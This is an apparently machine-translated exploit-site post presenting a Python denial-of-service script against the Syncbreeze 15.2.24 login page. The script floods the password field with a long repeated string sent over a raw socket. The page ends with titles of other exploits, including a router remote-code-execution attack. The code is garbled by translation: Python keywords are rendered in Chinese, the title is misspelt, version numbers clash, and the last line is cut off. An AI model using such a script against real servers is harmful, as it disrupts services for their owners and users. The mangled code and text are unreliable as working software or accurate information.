Syncbreeze 15.2.24-“登录”拒绝服务

[HackApt-37 Team已验证会员]

＃利用title: Syncbreeze 15.2.24-'login'Neconial of Service of Service
＃日期: 30/08/2023
＃利用作者:穆罕默德马云惹不起马云尤塞夫
＃供应商homepage: https://www.syncbreeze.com/
＃软件link: https://www.syncbreeze.com/setups/syncbreeze_setup_v15.4.3.4.32.exe
＃版本: 15.2.24
＃在: Windows 10 64位测试
导入套接字
进口时间
pyload='用户名=adminpassword='+'password='*500+''
请求=''
请求+='post /login http /1.1 \ r \ n'
请求+='host: 192.168.217.135 \ r \ n'
请求+='USER-AGENT: MOZILLA/5.0（X11; Linux X86_64; RV:109.0）gecko/20100101 Firefox/115.0 \ r \ n'
request+='ACCEPT: TEXT/HTML，application/XHTML+XML，application/xml; q=0.9，Image/avif，image/webp，/; q=0.8 \ r \ n'
请求+='Accept-Language: en-us，en; q=0.5 \ r \ n'
request+='Accept-incoding: gzip，Deflate \ r \ n'
请求+='content-type:应用程序/x-www-form-urlencoded \ r \ n'
请求+='content-length:'+str（len（pyload））+'\ r \ n'
请求+='rigin: http://192.168.217.135 \ r \ n'
请求+='Connection: keep-alive \ r \ n'
request+='referer: http://192.168.217.135/login \ r \ n'
请求+='升级-Insecure-Requests: 1 \ r \ n'
请求+='\ r \ n'
请求+=pyload
打印（请求）
s=socket.socket（socket.af_inet，socket.sock_stream）
S.Connect（（'192.168.217.135'，80））
S.Send（request.encode（））
打印（S.RECV（1024））
s.close（）
时间。

 

H

Ruijie Reyee网状路由器- MITM远程代码执行（RCE）

H

GOM播放器2.3.90.5360-缓冲区溢出（POC）